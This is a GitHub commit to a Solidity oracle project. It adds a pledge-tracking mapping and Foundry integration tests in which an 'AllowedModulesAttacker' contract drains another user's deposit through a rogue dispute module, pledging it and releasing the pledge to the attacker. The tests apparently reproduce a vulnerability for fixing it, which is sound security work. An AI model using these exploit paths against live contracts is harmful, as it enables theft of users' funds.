Skip to content

Commit

Permalink
test: wond 5
Browse files Browse the repository at this point in the history
  • Loading branch information
0xShaito committed Sep 13, 2024
1 parent e1ccfe4 commit c3ac455
Show file tree
Hide file tree
Showing 4 changed files with 279 additions and 22 deletions.
7 changes: 6 additions & 1 deletion solidity/contracts/extensions/BondEscalationAccounting.sol
Original file line number Diff line number Diff line change
Expand Up @@ -19,7 +19,11 @@ contract BondEscalationAccounting is AccountingExtension, IBondEscalationAccount
/// @inheritdoc IBondEscalationAccounting
mapping(bytes32 _requestId => mapping(address _pledger => bool _claimed)) public pledgerClaimed;

constructor(IOracle _oracle) AccountingExtension(_oracle) {}
mapping(bytes32 _disputeId => mapping(address _pledger => uint256 _totalPledged)) public totalPledged;

constructor(
IOracle _oracle
) AccountingExtension(_oracle) {}

/// @inheritdoc IBondEscalationAccounting
function pledge(
Expand All @@ -36,6 +40,7 @@ contract BondEscalationAccounting is AccountingExtension, IBondEscalationAccount
if (balanceOf[_pledger][_token] < _amount) revert BondEscalationAccounting_InsufficientFunds();

pledges[_disputeId][_token] += _amount;
totalPledged[_disputeId][_pledger] += _amount;

unchecked {
balanceOf[_pledger][_token] -= _amount;
Expand Down
21 changes: 12 additions & 9 deletions solidity/contracts/modules/dispute/BondEscalationModule.sol
Original file line number Diff line number Diff line change
Expand Up @@ -20,7 +20,9 @@ contract BondEscalationModule is Module, IBondEscalationModule {
*/
mapping(bytes32 _requestId => BondEscalation) internal _escalations;

constructor(IOracle _oracle) Module(_oracle) {}
constructor(
IOracle _oracle
) Module(_oracle) {}

/// @inheritdoc IModule
function moduleName() external pure returns (string memory _moduleName) {
Expand Down Expand Up @@ -329,22 +331,23 @@ contract BondEscalationModule is Module, IBondEscalationModule {
////////////////////////////////////////////////////////////////////

/// @inheritdoc IBondEscalationModule
function decodeRequestData(bytes calldata _data) public pure returns (RequestParameters memory _params) {
function decodeRequestData(
bytes calldata _data
) public pure returns (RequestParameters memory _params) {
_params = abi.decode(_data, (RequestParameters));
}

/// @inheritdoc IBondEscalationModule
function getEscalation(bytes32 _requestId) public view returns (BondEscalation memory _escalation) {
function getEscalation(
bytes32 _requestId
) public view returns (BondEscalation memory _escalation) {
_escalation = _escalations[_requestId];
}

/// @inheritdoc IModule
function validateParameters(bytes calldata _encodedParameters)
external
pure
override(Module, IModule)
returns (bool _valid)
{
function validateParameters(
bytes calldata _encodedParameters
) external pure override(Module, IModule) returns (bool _valid) {
RequestParameters memory _params = decodeRequestData(_encodedParameters);
_valid = address(_params.accountingExtension) != address(0) && address(_params.bondToken) != address(0)
&& _params.bondSize != 0 && _params.bondEscalationDeadline != 0 && _params.maxNumberOfEscalations != 0
Expand Down
255 changes: 248 additions & 7 deletions solidity/test/integration/BondEscalation.t.sol
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,9 @@ pragma solidity ^0.8.19;
import './IntegrationBase.sol';
import {IValidator} from '@defi-wonderland/prophet-core-contracts/solidity/interfaces/IValidator.sol';

Check warning on line 5 in solidity/test/integration/BondEscalation.t.sol

View workflow job for this annotation

GitHub Actions / Run Linters (16.x)

imported name IValidator is not used

import {IBondEscalationAccounting} from '../../interfaces/extensions/IBondEscalationAccounting.sol';
import {IOracle} from '@defi-wonderland/prophet-core/solidity/interfaces/IOracle.sol';

contract Integration_BondEscalation is IntegrationBase {
address internal _secondDisputer = makeAddr('secondDisputer');
address internal _secondProposer = makeAddr('secondProposer');
Expand Down Expand Up @@ -444,6 +447,178 @@ contract Integration_BondEscalation is IntegrationBase {
}

function test_attackerAllowedModules() public {
////////////////// DISPUTE ESCALATION ////////////////////////
// Step 1: Proposer pledges against the dispute
_deposit(_bondEscalationAccounting, proposer, usdc, _pledgeSize);
// vm.prank(proposer);
// _bondEscalationModule.pledgeAgainstDispute(mockRequest, mockDispute);

// // Step 2: Disputer doubles down
// _deposit(_bondEscalationAccounting, disputer, usdc, _pledgeSize);
// vm.prank(disputer);
// _bondEscalationModule.pledgeForDispute(mockRequest, mockDispute);

// // Step 3: Proposer doubles down
// _deposit(_bondEscalationAccounting, proposer, usdc, _pledgeSize);
// vm.prank(proposer);
// _bondEscalationModule.pledgeAgainstDispute(mockRequest, mockDispute);

// Step 4: Disputer runs out of capital
// Step 5: The tying buffer kicks in
// vm.warp(_bondEscalationDeadline + 1);

// Step 6: An external party sees that Proposer's response is incorrect, so they bond the required WETH
// _deposit(_bondEscalationAccounting, _secondDisputer, usdc, _pledgeSize);
// vm.prank(_secondDisputer);
// _bondEscalationModule.pledgeForDispute(mockRequest, mockDispute);

////////////////// NEW MALICIOUS REQUEST ////////////////////////

address _attacker = makeAddr('attacker');
address _attackerDisputeModule = address(new AllowedModulesAttacker());

mockRequest.nonce += 1;
mockRequest.requester = _attacker;
mockRequest.disputeModule = _attackerDisputeModule;
mockRequest.requestModuleData = abi.encode(
IHttpRequestModule.RequestParameters({
url: _expectedUrl,
body: _expectedBody,
method: _expectedMethod,
accountingExtension: _bondEscalationAccounting,
paymentToken: usdc,
paymentAmount: 0
})
);

vm.startPrank(_attacker);

// Requester creates a request
_bondEscalationAccounting.approveModule(mockRequest.requestModule);
_requestId = oracle.createRequest(mockRequest, _ipfsHash);

mockResponse.proposer = _attacker;
mockResponse.requestId = _requestId;

// msg.sender != _response.proposer && msg.sender != address(_request.disputeModule)
// msg.sender = _attacker;
// _response.proposer = _attacker;
// address(_request.disputeModule) = _attackerDisputeModule;
// false && true = false

// Proposer proposes a response¿
_bondEscalationAccounting.approveModule(mockRequest.responseModule);
vm.stopPrank();

_deposit(_bondEscalationAccounting, _attacker, usdc, _expectedBondSize);

vm.startPrank(_attacker);
_responseId = oracle.proposeResponse(mockRequest, mockResponse);

mockDispute.disputer = _attacker;
mockDispute.responseId = _responseId;
mockDispute.proposer = _attacker;
mockDispute.requestId = _requestId;

_bondEscalationAccounting.approveModule(_attackerDisputeModule);
vm.stopPrank();

// Disputer disputes the response
_deposit(_bondEscalationAccounting, _attacker, usdc, _pledgeSize);

vm.startPrank(_attacker);

_disputeId = oracle.disputeResponse(mockRequest, mockResponse, mockDispute);

uint256 _proposerBalance = _bondEscalationAccounting.balanceOf(proposer, usdc);
assertEq(_proposerBalance, _pledgeSize);

// Pledge for a user
AllowedModulesAttacker(_attackerDisputeModule).pledge(
_bondEscalationAccounting, proposer, mockRequest, mockDispute, usdc, _pledgeSize
);

uint256 _newProposerBalance = _bondEscalationAccounting.balanceOf(proposer, usdc);
assertEq(_newProposerBalance, 0);

// vm.expectRevert(ValidatorLib.ValidatorLib_InvalidDisputeBody.selector);
// _bondEscalationAccounting.releasePledge(mockRequest, mockDispute, _attacker, usdc, _pledgeSize * 4);
vm.stopPrank();
}

function test_attackerPledge() public {
////////////////// DISPUTE ESCALATION ////////////////////////
// Step 1: Proposer deposits in the accounting extension
_deposit(_bondEscalationAccounting, proposer, usdc, _pledgeSize);

////////////////// NEW MALICIOUS REQUEST ////////////////////////

address _attacker = makeAddr('attacker');
address _attackerDisputeModule = address(new AllowedModulesAttacker());

mockRequest.nonce += 1;
mockRequest.requester = _attacker;
mockRequest.disputeModule = _attackerDisputeModule;
mockRequest.requestModuleData = abi.encode(
IHttpRequestModule.RequestParameters({
url: _expectedUrl,
body: _expectedBody,
method: _expectedMethod,
accountingExtension: _bondEscalationAccounting,
paymentToken: usdc,
paymentAmount: 0
})
);

vm.startPrank(_attacker);

// Requester creates a request
_bondEscalationAccounting.approveModule(mockRequest.requestModule);
_requestId = oracle.createRequest(mockRequest, _ipfsHash);

mockResponse.proposer = _attacker;
mockResponse.requestId = _requestId;

// Proposer proposes a response
_bondEscalationAccounting.approveModule(mockRequest.responseModule);
vm.stopPrank();

_deposit(_bondEscalationAccounting, _attacker, usdc, _expectedBondSize);

vm.startPrank(_attacker);
_responseId = oracle.proposeResponse(mockRequest, mockResponse);

mockDispute.disputer = _attacker;
mockDispute.responseId = _responseId;
mockDispute.proposer = _attacker;
mockDispute.requestId = _requestId;

_bondEscalationAccounting.approveModule(_attackerDisputeModule);
vm.stopPrank();

// Disputer disputes the response
_deposit(_bondEscalationAccounting, _attacker, usdc, _pledgeSize);

vm.startPrank(_attacker);

_disputeId = oracle.disputeResponse(mockRequest, mockResponse, mockDispute);

uint256 _proposerBalance = _bondEscalationAccounting.balanceOf(proposer, usdc);
assertEq(_proposerBalance, _pledgeSize);

// Pledge for a user
AllowedModulesAttacker(_attackerDisputeModule).pledge(
_bondEscalationAccounting, proposer, mockRequest, mockDispute, usdc, _pledgeSize
);

// Succesfully pledged for the proposer
uint256 _newProposerBalance = _bondEscalationAccounting.balanceOf(proposer, usdc);
assertEq(_newProposerBalance, 0);

vm.stopPrank();
}

function test_attackerReleasePledge() public {
////////////////// DISPUTE ESCALATION ////////////////////////
// Step 1: Proposer pledges against the dispute
_deposit(_bondEscalationAccounting, proposer, usdc, _pledgeSize);
Expand Down Expand Up @@ -472,10 +647,11 @@ contract Integration_BondEscalation is IntegrationBase {
////////////////// NEW MALICIOUS REQUEST ////////////////////////

address _attacker = makeAddr('attacker');
address _attackerDisputeModule = address(new AllowedModulesAttacker());

mockRequest.nonce += 1;
mockRequest.requester = _attacker;
mockRequest.disputeModule = _attacker;
mockRequest.disputeModule = _attackerDisputeModule;
mockRequest.requestModuleData = abi.encode(
IHttpRequestModule.RequestParameters({
url: _expectedUrl,
Expand All @@ -487,15 +663,80 @@ contract Integration_BondEscalation is IntegrationBase {
})
);

uint256 _attackerBalance = _bondEscalationAccounting.balanceOf(_attacker, usdc);
assertEq(_attackerBalance, 0);

vm.startPrank(_attacker);
// Create a new proposal with another dispute module

// Requester creates a request
_bondEscalationAccounting.approveModule(mockRequest.requestModule);
_requestId = oracle.createRequest(mockRequest, _ipfsHash);

mockResponse.proposer = _attacker;
mockResponse.requestId = _requestId;

// Proposer proposes a response
_bondEscalationAccounting.approveModule(mockRequest.responseModule);
vm.stopPrank();

_deposit(_bondEscalationAccounting, _attacker, usdc, _expectedBondSize);

vm.startPrank(_attacker);
_responseId = oracle.proposeResponse(mockRequest, mockResponse);

mockDispute.disputer = _attacker;
mockDispute.responseId = _responseId;
mockDispute.proposer = _attacker;
mockDispute.requestId = _requestId;

vm.expectRevert(IValidator.Validator_InvalidDisputeBody.selector);
_bondEscalationAccounting.releasePledge(mockRequest, mockDispute, _attacker, usdc, _pledgeSize * 4);
_bondEscalationAccounting.approveModule(_attackerDisputeModule);
vm.stopPrank();

// Disputer disputes the response
_deposit(_bondEscalationAccounting, _attacker, usdc, _pledgeSize);

vm.startPrank(_attacker);

_disputeId = oracle.disputeResponse(mockRequest, mockResponse, mockDispute);

uint256 _attackerBalance = _bondEscalationAccounting.balanceOf(_attacker, usdc);
assertEq(_attackerBalance, _pledgeSize);

// Pledge for a user
AllowedModulesAttacker(_attackerDisputeModule).releasePledge(
_bondEscalationAccounting, mockRequest, mockDispute, _attacker, usdc, _pledgeSize * 4
);

// Succesfully released the pledge to the attacker
uint256 _newAttackerBalance = _bondEscalationAccounting.balanceOf(_attacker, usdc);
assertEq(_newAttackerBalance, _pledgeSize * 5);
vm.stopPrank();
}
}

contract AllowedModulesAttacker {
function disputeResponse(
IOracle.Request calldata _request,
IOracle.Response calldata _response,
IOracle.Dispute calldata _dispute
) external {}

function pledge(
IBondEscalationAccounting _bondEscalationAccounting,
address _pledger,
IOracle.Request calldata _request,
IOracle.Dispute calldata _dispute,
IERC20 _token,
uint256 _amount
) external {
_bondEscalationAccounting.pledge(_pledger, _request, _dispute, _token, _amount);
}

function releasePledge(
IBondEscalationAccounting _bondEscalationAccounting,
IOracle.Request calldata _request,
IOracle.Dispute calldata _dispute,
address _pledger,
IERC20 _token,
uint256 _amount
) external {
_bondEscalationAccounting.releasePledge(_request, _dispute, _pledger, _token, _amount);
}
}
Loading

0 comments on commit c3ac455

Please sign in to comment.